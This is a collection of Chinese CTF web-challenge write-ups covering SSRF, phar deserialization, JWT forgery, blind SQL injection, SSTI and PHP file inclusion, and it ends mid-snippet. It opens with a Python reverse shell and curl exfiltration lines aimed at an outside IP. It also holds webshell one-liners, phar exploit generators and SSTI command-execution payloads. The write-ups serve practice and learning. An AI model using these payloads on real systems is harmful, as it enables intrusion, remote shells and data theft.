/no_one_know_the_manager?key=07trZJM8Dfcrv49T5kZfWO7Y048PjXzSh2Q6+Gu7x9c=&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2247.122.53.248%22,3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27

或者curl把数据外带

1
2
?key=07trZJM8Dfcrv49T5kZfWO7Y048PjXzSh2Q6+Gu7x9c=&shell=curl 47.122.53.248:3333/`ls /|base64`
?key=07trZJM8Dfcrv49T5kZfWO7Y048PjXzSh2Q6+Gu7x9c=&shell=curl 47.122.53.248:3333/`cat /flag|base64`

[HITCON 2017]SSRFme

代码审计

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

orange+ip的MD5值就是目录,然后url传data值给后面filename写入的文件

题目叫ssrfme,我们先file://读一下文件

1
?url=file:///&filename=123

image-20250315131117847

访问flag是空的,下面有个readflag显然要用命令执行readflag才行

这里有前置知识,利用perl语言的漏洞:因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

先创建文件

1
?url=&filename=|/readflag

然后执行命令

1
?url=file:|readflag&filename=123

但是这个好像有点问题,用bash命令试试

1
2
?url=&filename=|bash -c /readflag
?url=file:|bash -c /readflag&filename=123

或者直接写马蚁剑连接

1
?url=data://text,plain,'<?php @eval($_POST['cmd']);?>'&filename=shell.php

image-20250315133249902

[CISCN2019 华北赛区 Day1 Web1]Dropbox

注册登入后有文件上传功能,不能上传php

上传其他文件有下载功能存在目录穿越

index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>
<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

download.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

构链子

因为File类下面有file_get_contents可以读取文件,调用了close函数

查找到User类里面有,但是这样调用会触发__call方法,我们用Filelist类里面的__call发现files变量会执行函数把结果以数组形式返回,我们直接令它为File类,将flag返回然后调用close函数回显

1
User ->Filelist call ->File close()

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class User {
    public $db;
}

class FileList {
    private $files;
    public function __construct() {
        $this->files = array(new File());
    }
}

class File {
    public $filename='/flag.txt';
    public function close() {
        return file_get_contents($this->filename);
    }
}
$o=new User();
$o->db=new FileList();
@unlink("phar.phar");

//生成phar时,文件的后缀名必须为phar
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($o);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

生成phar后,找触发反序列化利用点

download和delete里面由于download过滤flag

我们在delete.php里面找到delete函数,回到class.php发现调用unlink函数刚好可以触发反序列化

[HFCTF2020]EasyLogin

上来查看源码

app.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */
function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

上面说用koa框架写的

koa框架基本目录

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
koa框架常用目录,文件

app/controllers 项目控制器存放目录:接收请求,处理逻辑

app/dbhelper 数据库CRUD操作的封装

app/models 对应数据库表表结构

config/router.js 项目路由

node_modules app.js 项目入口

访问controllers下的api.js得到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

jwt无签名

不仅签名要改为none,secretid要改为[],然后把username改为admin

这里载的是PyJWT包,用python来伪造

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import jwt
token = jwt.encode(
    {
        "secretid": [],
        "username": "admin",
        "password": "123456",
        "iat": 1742471740
    },
    algorithm="none", key="").encode(encoding='utf-8')

print(token)

bp修改放包然后访问/api/flag

[SWPUCTF 2018]SimplePHP

查看源码

image-20250320204558124

查看文件这里有任意文件读取

index.php

1
2
3
4
<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?> 

base.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

file.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

打pop链加phar反序列化

先找利用点Test类里面的file_get函数能读取文件内容,要触发__get方法,找到show类里面的__toString然后在C1e4r类里面有echo触发

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class C1e4r
{
    public $str;
}

class Show
{
    public $str;
    public function __construct()
    {
        $this->str['str']=new Test();
    }
}
class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array("source" => "/var/www/html/f1ag.php");
    }

}
$o=new C1e4r();
$o->str=new Show();
@unlink("phar.phar");

//生成phar时,文件的后缀名必须为phar
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($o);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?> 

上传后查看upload路由

然后在file.php里面有file_exists函数可以触发反序列化

October 2019 Twice SQL Injection

题目叫二次注入

1
2
3
4
5
6
7
1' union select database()#
1' union select group_concat(table_name)from information_schema.tables
where table_schema=database()#
1' union select group_concat(column_name)from
information_schema.columns where table_name='flag'#
1' union select (select group_concat(flag)from
flag)#

[GYCTF2020]Ezsqli

无列名注入

爆表

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import time
import requests
import sys
import string
import logging


# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target="http://1412c496-d04b-49dd-86ec-2e57fd4db8d0.node5.buuoj.cn:81/index.php"

dataStr="(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database())"

def binaryTest(i,cu,comparer):
    s=requests.post(target,data={"id" : "0^(ascii(substr({},{},1)){comparer}{})".format(dataStr,i,cu,comparer=comparer)})
    if 'Nu1L' in s.text:
        return True
    else:
        return False


def searchFriends_sqli(i):
    l = 0
    r = 255
    while (l <= r):
        cu = (l + r) // 2
        if (binaryTest(i, cu, "<")):
            r = cu - 1
        elif (binaryTest(i, cu, ">")):
            l = cu + 1
        elif (cu == 0):
            return None
        else:
            return chr(cu)


def main():
    print("start")
    finres=""
    i=1
    while (True):
        extracted_char = searchFriends_sqli(i)
        if (extracted_char == None):
            break
        finres += extracted_char
        i += 1
        print("(+) 当前结果:"+finres)
    print("(+) 运行完成,结果为:", finres)

if __name__=="__main__":
    main()

爆flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time
url = 'http://1412c496-d04b-49dd-86ec-2e57fd4db8d0.node5.buuoj.cn:81/index.php'
# give_grandpa_pa_pa_pa

payload_flag = '1^((1,\'{}\')>(select * from f1ag_1s_h3r3_hhhhh))'
flag = ''
for i in range(1, 100):
    time.sleep(0.3)#这里要sleep一下,不然太快了会乱码,本人测试后0.3正好能出结果
    low = 32
    high = 132
    mid = (low + high) // 2
    while (low < high):
        k = flag + chr(mid)
        payload = payload_flag.format(k)
        data = {"id": payload}
        print(payload)
        r = requests.post(url=url, data=data)
        if 'Nu1L' in r.text:
            low = mid + 1
        else:
            high = mid

        mid = (low + high) // 2
    if mid == 33:
        break
    flag += chr(mid - 1)
    print(flag.lower())  # 因为出来的flag是大写,这边全部转为小写

print(flag.lower())

[CISCN2019 总决赛 Day2 Web1]Easyweb

有robots.txt,查看image.php.bak

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

要单引号尝试注入,这里看到id先经过addslashes函数转义然后再被str_replace替换为空

我们直接在id这里用\\0这样\0会被转义成\\0,然后又被替换成空,最后剩个\把后面的单引号转义

可以看界面有无JFIF字符串判断是否有图片

payload

1
image.php?id=\\0&path=or ascii(substring(database(),%s,1))=%s #

盲注

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import  requests
url = "http://727bcaec-8c37-47b6-8428-161fcbeeeb42.node5.buuoj.cn:81/image.php?id=\\0&path="
payload = " or ascii(substr((select password from users),{},1))>{}%23"
result = ''
for i in range(1,100):
    high = 127
    low = 32
    mid = (low+high) // 2
    # print(mid)
    while(high>low):
        r = requests.get(url + payload.format(i,mid))
       # print(url + payload.format(i,mid))
        if 'JFIF' in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    result += chr(mid)
    print(result)

用户名admin,密码84582e71d43b59c72f38

进来是一个文件上传

随便上传发现上传到日志去了,直接文件名写木马,日志文件包含

[RootersCTF2019]I_<3_Flask

肯定打ssti,爆参数

image-20250324193702165

1
{{''.__class__.__base__.__subclasses__()[182].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

抄一个别人的

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}

[NPUCTF2020]ezinclude

上来先看源码

image-20250324194857838

由于不知道$secret的值,我们先传个name看看

把响应的hash填入发包

1
?name=1&pass=576322dd496b99d07b5b0f7fa7934a25

有个flflflflag.php

image-20250324195533675

伪协议读文件

1
?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

目录扫描会发现dir.php

1
2
3
<?php
var_dump(scandir('/tmp'));
?>

然后

法一:利用php7 segment fault特性(CVE-2018-14884)

php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

1
2
3
4
5
php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

利用url

1
/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd

打这个cve

1
2
3
4
5
6
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://60bd763e-32ea-4870-b67e-74f467c3436a.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

这样就在tmp目录下写入木马了

我们用dir.php查看位置

1
http://60bd763e-32ea-4870-b67e-74f467c3436a.node5.buuoj.cn:81/flflflflag.php?file=/tmp/php3r0kqs

连接上用蚁剑插件绕过,发现不行,bp在post传参cmd=phpinfo()看看,直接搜flag就有了

法二:利用 session.upload_progress 进行 session 文件包含

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import io
import re
import sys
import requests
import threading

host = 'http://60bd763e-32ea-4870-b67e-74f467c3436a.node5.buuoj.cn:81/flflflflag.php'
sessid = 'yym68686'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        if 'flag{' not in response.text:
            print('\rWaiting...', end="")
        else:
            print("\r" + re.search(r'flag{(.*?)}', response.text).group(0))
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

[NCTF2019]SQLi

有个robots.txt

这里waf了一堆关键字,用户名是admin

主要用regexp正则来绕过

payload

1
select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/\"^a\";%00'
1
payload: username=\&passwd=||passwd/**/regexp/**/"^a";%00
  1. 通过\ 转义username后第二个单引号进而闭合掉passwd后第一个引号
  2. 通过%00截断 代替# –
  3. regexp “^a” 表示 查找passwd列中以a为起始的

如果注入成功会回显welcome.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from urllib.parse import unquote
import string

url = 'http://eec98765-3741-49a5-8773-6d1b31843e2e.node5.buuoj.cn:81/'

cookies = {
    'UM_distinctid': '17e150f6a59ecb-028dcf28d64a708-4c3e2679-384000-17e150f6a5a90d',
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://011634d2-f820-4831-b422-832c2e0bf99f.node4.buuoj.cn:81',
    'Connection': 'keep-alive',
    'Referer': 'http://011634d2-f820-4831-b422-832c2e0bf99f.node4.buuoj.cn:81/',
    'Upgrade-Insecure-Requests': '1',
}
table = string.ascii_letters + string.digits + '_{}'
flag = ''
for j in range(50):
    for i in table:
        data = {
            'username': '\\',
            'passwd': f'||(passwd/**/regexp/**/"^{flag + i}");' + unquote('%00')
        }
        response = requests.post(url, headers=headers, cookies=cookies, data=data)

        if '404 Not Found' in response.text:
            flag = flag + i
            break
        else:
            continue
    print(str.lower(flag))

image-20250324205158886

[网鼎杯 2020 半决赛]AliceWebsite

index.php

1
2
3
4
5
6
7
8
<?php
        $action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
        if (file_exists($action)) {
            include $action;
        } else {
            echo "File not found!";
        }
        ?>

有文件包含,然后用目录穿越读到flag

[HarekazeCTF2019]encode_and_encode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
